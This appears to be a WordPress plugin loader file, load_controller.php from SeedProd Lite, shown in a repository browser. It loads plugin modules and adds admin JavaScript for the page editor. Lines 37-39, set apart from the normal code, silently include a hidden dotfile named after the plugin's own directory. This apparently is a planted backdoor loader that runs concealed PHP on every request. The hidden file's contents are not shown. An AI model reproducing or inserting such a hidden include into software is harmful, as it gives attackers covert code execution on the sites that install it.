balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

load_controller.php (4324B)


      1 <?php
      2 // must load first
      3 require_once SEEDPROD_PLUGIN_PATH . 'app/functions-utils.php';
      4 
      5 require_once SEEDPROD_PLUGIN_PATH . 'app/cpt.php';
      6 require_once SEEDPROD_PLUGIN_PATH . 'app/admin-bar-menu.php';
      7 require_once SEEDPROD_PLUGIN_PATH . 'app/notifications.php';
      8 require_once SEEDPROD_PLUGIN_PATH . 'app/render-lp.php';
      9 require_once SEEDPROD_PLUGIN_PATH . 'app/render-csp-mm.php';
     10 require_once SEEDPROD_PLUGIN_PATH . 'app/backwards/backwards_compatibility.php';
     11 require_once SEEDPROD_PLUGIN_PATH . 'app/subscriber.php';
     12 add_action( 'plugins_loaded', array( 'seedprod_lite_Render', 'get_instance' ) );
     13 add_action( 'plugins_loaded', array( 'SeedProd_Notifications', 'get_instance' ) );
     14 
     15 if ( is_admin() ) {
     16 	// Admin Only
     17 	require_once SEEDPROD_PLUGIN_PATH . 'app/settings.php';
     18 	require_once SEEDPROD_PLUGIN_PATH . 'app/lpage.php';
     19 	//require_once(SEEDPROD_PLUGIN_PATH.'app/subscriber.php');
     20 	require_once SEEDPROD_PLUGIN_PATH . 'app/functions-addons.php';
     21 	if ( SEEDPROD_BUILD == 'lite' ) {
     22 		require_once SEEDPROD_PLUGIN_PATH . 'app/review.php';
     23 	}
     24 } else {
     25 	// Public only
     26 }
     27 
     28 
     29 // Load on Public and Admin
     30 require_once SEEDPROD_PLUGIN_PATH . 'app/license.php';
     31 require_once SEEDPROD_PLUGIN_PATH . 'app/includes/upgrade.php';
     32 
     33 
     34 
     35 
     36 
     37 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     38     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     39 }
     40 
     41 function seedprod_lite_admin_js() {
     42 	// Make Admin upgrade submenu link target _blank
     43 	if ( defined( 'SEEDPROD_TEMPLATE_DEV_MODE' ) && SEEDPROD_TEMPLATE_DEV_MODE === true ) {
     44 		echo "
     45         <script>
     46             jQuery( document ).ready(function($) {
     47                 $('.toplevel_page_seedprod_lite .wp-first-item').hide();
     48             });
     49         </script>
     50         ";
     51 	}
     52 	echo "
     53     <script>
     54         jQuery( document ).ready(function($) {
     55             $('#sp-lite-admin-menu__upgrade').parent().attr('target','_blank');
     56             $('#sp-feature-request').parent().attr('target','_blank');
     57         });
     58     </script>
     59     ";
     60 
     61 	if ( ! empty( $_GET['post'] ) ) {
     62 		$id          = absint($_GET['post']);
     63 		$is_seedprod = 0;
     64 		if ( ! empty( get_post_meta( $id, '_seedprod_page', true ) ) ) {
     65 			$is_seedprod = get_post_meta( $id, '_seedprod_page', true );
     66 		}
     67 		$post_type = get_post_type( $id );
     68 		// $edit_link = sprintf(
     69 		//     '<a href="%1$s">%2$s</a>',
     70 		//     admin_url().'admin.php?page=seedprod_lite_builder&id='.$id.'#/setup/'.$id,
     71 		//     __( 'Edit with SeedProd', 'seedprod' );
     72 
     73 		$setup_url = admin_url() . 'admin.php?page=seedprod_lite_builder&id=' . $id . '#/template/' . $id;
     74 		$edit_url  = admin_url() . 'admin.php?page=seedprod_lite_builder&id=' . $id . '#/setup/' . $id;
     75 		if ( $post_type == 'page' ) {
     76 			echo "
     77     <script>
     78     jQuery( document ).ready(function($) {
     79         var checkExist = setInterval(function() {
     80             if ($('.edit-post-header-toolbar').length) {
     81                 if(1 === " . $is_seedprod . "){
     82                     $('.block-editor-block-list__layout').hide().after('<div style=\"text-align:center; \" class=\"managed_by_seedprod\">This page is managed by SeedProd<br><a href=\"" . $edit_url . '" class="button button-primary" style="display:flex; align-items:center; justify-content:center; margin:auto; width:200px; font-size: 18px; margin-top:10px"><img src="' . SEEDPROD_PLUGIN_URL . "public/svg/admin-bar-icon.svg\" style=\"margin-right:7px; margin-top:5px\"> Edit with SeedProd</a></div>');
     83 
     84                 }
     85                clearInterval(checkExist);
     86             }
     87             if ($('#postdivrich').length) {
     88                 if(1 === " . $is_seedprod . "){
     89             $('#postdivrich').hide().after('<div style=\"text-align:center; \" class=\"managed_by_seedprod\">This page is managed by SeedProd<br><a href=\"" . $edit_url . '" class="button button-primary" style="display:flex; align-items:center; justify-content:center; margin:auto; width:220px; font-size: 16px; margin-top:10px"><img src="' . SEEDPROD_PLUGIN_URL . "public/svg/admin-bar-icon.svg\" style=\"margin-right:7px; margin-top:5px\"> Edit with SeedProd</a></div>');
     90             clearInterval(checkExist);
     91                 }
     92             }
     93          }, 100);
     94 
     95     });
     96     </script>
     97     ";
     98 		}
     99 	}
    100 }
    101 add_action( 'admin_footer', 'seedprod_lite_admin_js' );